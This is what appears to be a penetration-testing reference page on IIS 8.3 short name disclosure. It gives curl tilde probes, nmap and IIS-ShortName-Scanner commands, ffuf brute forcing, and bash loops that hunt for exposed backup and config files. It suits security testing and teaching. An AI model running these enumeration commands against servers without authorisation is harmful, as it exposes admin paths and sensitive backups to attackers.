# IIS 8.3 Short Name Disclosure

- **URL:** https://hackindex.io/services/iis/vulnerability-discovery/iis-short-name-disclosure
- **Path:** IIS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/iis/vulnerability-discovery.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

IIS on Windows exposes 8.3 short filenames through HTTP response code differences when path segments contain a tilde character. A request to `/ADMINI~1/` returns a different response than `/ZZZZZZ~1/` when the directory exists: regardless of whether directory listing is disabled. This reveals file and directory name prefixes (up to 6 characters) without any authentication. Use discovered prefixes to seed targeted content bruteforce against the full names.

Short name disclosure detection tools:

- Manual tilde probe comparing HTTP response codes
- Nmap `http-iis-short-name-brute` NSE script
- IIS-ShortName-Scanner for automated full enumeration

## Manual Probe: Confirm Vulnerability

The vulnerability is present when a valid short name prefix returns a different response than a clearly invalid one. Compare the responses:

```bash
curl -skI "http://$TARGET_IP/ZZZZZZ~1/" | grep HTTP
# HTTP/1.1 404 Not Found
```

```bash
curl -skI "http://$TARGET_IP/ASPNET~1/" | grep HTTP
# HTTP/1.1 403 Forbidden
```

A 403 Forbidden for ASPNET~1 versus 404 for ZZZZZZ~1 confirms the vulnerability: the server is distinguishing between existing and non-existing 8.3 paths. A 400 Bad Request on tilde paths means the server is patched or the feature is disabled.

## Automated Scan: nmap NSE

```bash
nmap -p 80,443 --script http-iis-short-name-brute $TARGET_IP
# | http-iis-short-name-brute:
# |   Found 4 short names
# |   ADMINI~1 (directory)
# |   ASPNET~1 (directory)
# |   UPLOAD~1 (directory)
# |_  BACKUP~1.ZIP (file)
```

## Automated Scan: IIS-ShortName-Scanner

More thorough than the nmap script. Requires Java:

```bash
git clone https://github.com/irsdl/IIS-ShortName-Scanner.git && cd IIS-ShortName-Scanner/release
```

```bash
java -jar iis_shortname_scanner.jar 2 20 http://$TARGET_IP/
# [+] Directory: ADMINI~1
# [+] Directory: ASPNET~1
# [+] Directory: UPLOAD~1
# [+] File: BACKUP~1.ZIP
# [+] File: WEBCON~1.BAK
```

```bash
java -jar iis_shortname_scanner.jar 2 20 https://$DOMAIN/
```

## Expand Prefixes to Full Names

Use the discovered 6-character prefixes to generate candidate full names and brute force the actual paths:

```bash
# Generate candidates from discovered prefix ADMINI~1
grep -i '^admini' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | head -20
# administrator
# administration
# admin_interface
# administrators
```

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://$TARGET_IP/FUZZ -mc 200,301,302,403 -ic | grep -iE '^admini'
# administrator           [Status: 302, Size: 0]
```

ADMINI~1 resolving to /administrator/ confirms the admin panel path. For file prefixes like BACKUP~1.ZIP, test common suffixes:

```bash
for name in backup backup_2024 backup_old backupsite backup_www; do code=$(curl -skI http://$TARGET_IP/$name.zip | grep HTTP | awk '{print $2}'); echo "$code /$name.zip"; done
# 404 /backup.zip
# 200 /backup_2024.zip
# 404 /backup_old.zip
```

## File Extension Targeting

When a file prefix is found, enumerate IIS-specific extensions against it:

```bash
for ext in aspx asp ashx asmx config bak old zip txt xml; do code=$(curl -skI http://$TARGET_IP/webcon.$ext | grep HTTP | awk '{print $2}'); echo "$code /webcon.$ext"; done
# 200 /webcon.bak
# 404 /webcon.aspx
```

## References

- [IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) - Java-based scanner for 8.3 shortname enumeration on IIS
- [nmap: http-iis-short-name-brute NSE](https://nmap.org/nsedoc/scripts/http-iis-short-name-brute.html) - Nmap script for IIS 8.3 shortname brute enumeration